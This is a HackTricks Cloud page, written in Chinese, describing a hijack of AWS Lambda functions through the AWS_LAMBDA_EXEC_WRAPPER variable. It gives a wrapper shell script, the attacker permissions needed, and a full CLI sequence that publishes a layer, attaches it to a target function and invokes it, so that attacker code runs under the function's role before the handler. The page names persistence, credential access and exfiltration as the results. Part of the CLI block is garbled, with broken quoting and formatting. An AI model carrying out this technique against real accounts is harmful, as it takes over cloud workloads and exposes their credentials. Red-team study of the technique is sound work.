AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
摘要
滥用环境变量 AWS_LAMBDA_EXEC_WRAPPER 在 runtime/handler 启动之前执行攻击者控制的包装器脚本。通过在 Lambda Layer 中将包装器放置于 /opt/bin/htwrap,设置 AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap,然后调用函数来投递该包装器。该包装器在函数运行时进程内运行,继承函数执行角色,最后使用 exec 启动真实的 runtime,从而使原始 handler 仍可正常执行。
Warning
该技术可在目标 Lambda 中获得代码执行,且无需修改其源代码或角色,也不需要
iam:PassRole。你仅需能够更新函数配置并发布/附加一个 Layer。
所需权限(攻击者)
lambda:UpdateFunctionConfigurationlambda:GetFunctionConfigurationlambda:InvokeFunction(或通过现有事件触发)lambda:ListFunctions,lambda:ListLayerslambda:PublishLayerVersion(同一账户),并可选lambda:AddLayerVersionPermission(如果使用跨账户/公共 Layer)
包装器脚本
将包装器放在 Layer 的 /opt/bin/htwrap。它可以运行 pre-handler 的逻辑,并且必须以 exec "$@" 结尾以链入真实的 runtime。
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
攻击步骤 (CLI)
发布 layer、附加到目标函数、设置 wrapper、调用
```bash # Vars REGION=us-east-1 TARGET_FN=1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin cat > layer/bin/htwrap <<‘WRAP’ #!/bin/bash set -euo pipefail echo “[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION” python3 - <<‘PY’ import boto3, json print(‘[ht] sts identity:’, import(‘json’).dumps(import(‘boto3’).client(‘sts’).get_caller_identity())) PY exec “$@” WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)
2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version
–layer-name ht-exec-wrapper
–zip-file fileb://htwrap-layer.zip
–compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
–query LayerVersionArn –output text –region “$REGION”)
echo “$LAYER_ARN”
3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration
–function-name “$TARGET_FN”
–layers “$LAYER_ARN”
–environment “Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}”
–region “$REGION”
Wait for update to finish
until [ “$(aws lambda get-function-configuration –function-name “$TARGET_FN” –query LastUpdateStatus –output text –region “$REGION”)“ = “Successful” ]; do sleep 2; done
4) Invoke and verify via CloudWatch Logs
aws lambda invoke –function-name “$TARGET_FN” /tmp/out.json –region “$REGION” >/dev/null aws logs filter-log-events –log-group-name “/aws/lambda/$TARGET_FN” –limit 50 –region “$REGION” –query ‘events[].message’ –output text
</details>
## 影响
- 在 Lambda runtime 上下文中,使用函数现有的 execution role 在 handler 运行之前执行代码。
- 无需更改函数代码或 role;适用于常见的 managed runtimes(Python、Node.js、Java、.NET)。
- 可实现 persistence、credential access(例如 STS)、data exfiltration 以及在 handler 运行前的 runtime tampering。
> [!TIP]
> 学习并练习 AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习并练习 GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习并练习 Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>支持 HackTricks</summary>
>
> - 查看 [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **加入** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) 或者 [**telegram group**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库 提交 PRs 来分享 hacking tricks。
>
> </details>
HackTricks Cloud

